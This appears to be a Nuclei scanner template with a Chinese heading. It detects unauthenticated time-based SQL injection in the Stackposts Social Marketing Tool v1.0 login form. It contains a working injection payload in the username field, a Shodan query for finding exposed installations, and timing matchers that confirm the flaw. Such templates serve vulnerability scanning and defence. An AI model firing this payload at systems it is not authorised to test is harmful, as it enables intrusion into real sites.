漏洞描述
SQL Injection is a type of SQL injection attack in which an attacker can exploit a vulnerability in a web application's input fields to manipulate the application's SQL queries.
id: stackposts-sqli
info:
name: Stackposts Social Marketing Tool v1.0 - SQL Injection
author: r3Y3r53
severity: high
description: |
SQL Injection is a type of SQL injection attack in which an attacker can exploit a vulnerability in a web application's input fields to manipulate the application's SQL queries.
reference:
- https://www.exploit-db.com/exploits/51473
- https://vulners.com/zdt/1337DAY-ID-38725
- https://codecanyon.net/item/stackposts-social-marketing-tool/21747459
metadata:
verified: true
max-request: 1
shodan-query: html:"stackposts"
tags: time-based-sqli,sqli,unauth,stackposts,vuln
http:
- raw:
- |
@timeout: 15s
POST /spre/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username=1')AND (SELECT 9595 FROM (SELECT(SLEEP(7)))YRMM) AND ('gaNg'='gaNg&password=test
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'contains(content_type, "text/html")'
- 'contains(body, "account you entered")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502206bba9f95cb62ea5276f7017593298a441f9f13aa62872e4fe9dd229dee2c9663022100ce83d4a453ee8ede78f294602a3a579497bac579c2838e042fb9d10c4bfa5b1b:922c64590222798bb761d5b6d8e72950